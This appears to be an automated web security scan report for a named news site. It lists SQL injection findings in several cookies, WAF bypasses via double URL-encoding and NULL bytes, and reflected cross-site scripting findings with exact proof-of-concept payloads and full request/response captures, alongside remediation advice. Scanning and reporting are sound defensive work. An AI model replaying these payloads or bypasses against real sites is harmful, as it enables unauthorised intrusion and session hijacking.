SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The FirstVisit cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the FirstVisit cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The LastVisit cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the LastVisit cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the LastVisit cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The __utmb cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmb cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The _chartbeat2 cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the _chartbeat2 cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The LastVisit cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the LastVisit cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the LastVisit cookie as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
The PHPSESSID cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the PHPSESSID cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The __utmc cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmc cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
2.1. http://www.cmswire.com/cms/web-publishing/wordpress-31-more-of-a-cms-than-ever-before-010310.php [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 81d20"-alert(1)-"4959465b364 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cms/web-publishing/wordpress-31-more-of-a-cms-than-ever-before-010310.php/81d20"-alert(1)-"4959465b364 HTTP/1.1 Host: www.cmswire.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:36:39 GMT Server: Apache/2.0.52 (Red Hat) Set-Cookie: PHPSESSID=25bb5b81fec0a1e1787dbfef4542d454; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 74289
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html dir="ltr" lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> ...[SNIP]... <script type="text/javascript"> GA_googleAddAttr("page_url", "_cms_web-publishing_wordpress-31-more-of-a-cms-than-ever-before-010310_php_81d20"-alert(1)-"4959465b364"); </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 699a3"><a>2bf0fcaee1c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d5cfc"-alert(1)-"bc321ffad46 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:53:14 GMT Server: Apache/2.0.52 (Red Hat) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 75229
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html dir="ltr" lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> ...[SNIP]... <script type="text/javascript"> GA_googleAddAttr("page_url", "_cms_web-publishing_wordpress-31-more-of-a-cms-than-ever-before-010310_php_81d20%22-alert(%22xss%22)-%224959465b364d5cfc"-alert(1)-"bc321ffad46"); </script> ...[SNIP]...
2.4. http://www.cmswire.com/cms/web-publishing/wordpress-31-more-of-a-cms-than-ever-before-010310.php/81d20%22-alert(%22XSS%22)-%224959465b364 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be2b9"><script>alert(1)</script>fa0a7bc9344 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
2.5. http://www.cmswire.com/cms/web-publishing/wordpress-31-more-of-a-cms-than-ever-before-010310.php/81d20%22-alert(1)-%224959465b364 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df5df"><script>alert(1)</script>6c7aa2b1a8f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
2.6. http://www.cmswire.com/cms/web-publishing/wordpress-31-more-of-a-cms-than-ever-before-010310.php/81d20%22-alert(document.cookie)-%224959465b364 [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a076"><a>8be2bdab7ee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 45584"-alert(1)-"da1f862d9b6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /taf.php HTTP/1.1 Host: www.cmswire.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: VisitCount=1; __gads=ID=a8fa714e8d3e9a47:T=1300296849:S=ALNI_MZUVjzrWG8LOGwMr99KpiC3QIo8Iw; __utmz=97231501.1300296863.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); FirstVisit=Wed%2C%2016%20Mar%202011%2017%3A34%3A24%20GMT; LastVisit=Wed%2C%2016%20Mar%202011%2017%3A34%3A24%20GMT; PHPSESSID=80f04db3f305da3334eedebb2141974a; __utma=97231501.762556402.1300296844.1300296844.1300296844.1; __utma_a2a=8244481635.1331853788.1300296862.1300296862.1300296862.1; __utmc=97231501; __utmb=97231501.3.8.1300296863274; Referer: http://www.google.com/search?hl=en&q=45584"-alert(1)-"da1f862d9b6
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:57:18 GMT Server: Apache/2.0.52 (Red Hat) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: Accept-Encoding Content-Length: 6655 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Tell a Friend - CMS ...[SNIP]... tent=&utm_campaign=Internal_TAF'); }
// wait until page is loaded to call API BitlyClient.addPageLoadEvent(function(){ BitlyClient.shorten("http://www.google.com/search?hl=en&q=45584"-alert(1)-"da1f862d9b6?utm_source=internal&utm_medium=web_tell-a-friend&utm_content=&utm_campaign=Internal_TAF", "BitlyCB.myShortenCallback"); }); </script> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript rest-of-line comment. The payload 30825</script><script>alert(1)</script>533f0caa87 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /taf.php HTTP/1.1 Host: www.cmswire.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: VisitCount=1; __gads=ID=a8fa714e8d3e9a47:T=1300296849:S=ALNI_MZUVjzrWG8LOGwMr99KpiC3QIo8Iw; __utmz=97231501.1300296863.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); FirstVisit=Wed%2C%2016%20Mar%202011%2017%3A34%3A24%20GMT; LastVisit=Wed%2C%2016%20Mar%202011%2017%3A34%3A24%20GMT; PHPSESSID=80f04db3f305da3334eedebb2141974a; __utma=97231501.762556402.1300296844.1300296844.1300296844.1; __utma_a2a=8244481635.1331853788.1300296862.1300296862.1300296862.1; __utmc=97231501; __utmb=97231501.3.8.1300296863274; Referer: http://www.google.com/search?hl=en&q=30825</script><script>alert(1)</script>533f0caa87
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:57:20 GMT Server: Apache/2.0.52 (Red Hat) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: Accept-Encoding Content-Length: 6697 Connection: close Content-Type: text/html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Tell a Friend - CMS ...[SNIP]... break; } document.getElementById('hdnBitlyUrl').value = result['shortUrl']; //alert("Just set result: " +result['shortUrl'] +" from:\n\n" +'http://www.google.com/search?hl=en&q=30825</script><script>alert(1)</script>533f0caa87?utm_source=internal&utm_medium=web_tell-a-friend&utm_content=&utm_campaign=Internal_TAF'); }
// wait until page is loaded to call API BitlyClient.addPageLoadEvent(function(){ B ...[SNIP]...
3. Cookie without HttpOnly flag setpreviousnext There are 2 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /cms/web-publishing/wordpress-31-more-of-a-cms-than-ever-before-010310.php HTTP/1.1 Host: www.cmswire.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:36:26 GMT Server: Apache/2.0.52 (Red Hat) Set-Cookie: PHPSESSID=73005cb99786d2fbcaaa58fa1766ff37; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 74144
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html dir="ltr" lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> ...[SNIP]...
4. Cross-domain script includepreviousnext There are 9 instances of this issue:
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
The response contains the following Content-type statement:
Content-Type: text/plain
The response states that it contains plain text. However, it actually appears to contain unrecognised content.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /favicon.ico HTTP/1.1 Host: www.cmswire.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=80f04db3f305da3334eedebb2141974a; __gads=ID=a8fa714e8d3e9a47:T=1300296849:S=ALNI_MZUVjzrWG8LOGwMr99KpiC3QIo8Iw; __utma_a2a=8244481635.1331853788.1300296862.1300296862.1300296862.1; __utmz=97231501.1300296863.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=97231501.762556402.1300296844.1300296844.1300296844.1; __utmc=97231501; __utmb=97231501.3.8.1300296863274; VisitCount=1; FirstVisit=Wed%2C%2016%20Mar%202011%2017%3A34%3A24%20GMT; LastVisit=Wed%2C%2016%20Mar%202011%2017%3A34%3A24%20GMT
Response
HTTP/1.1 200 OK Date: Wed, 16 Mar 2011 18:36:04 GMT Server: Apache/2.0.52 (Red Hat) Last-Modified: Sun, 30 Nov 2008 17:26:12 GMT ETag: "90265-2366-64059500" Accept-Ranges: bytes Content-Length: 9062 Connection: close Content-Type: text/plain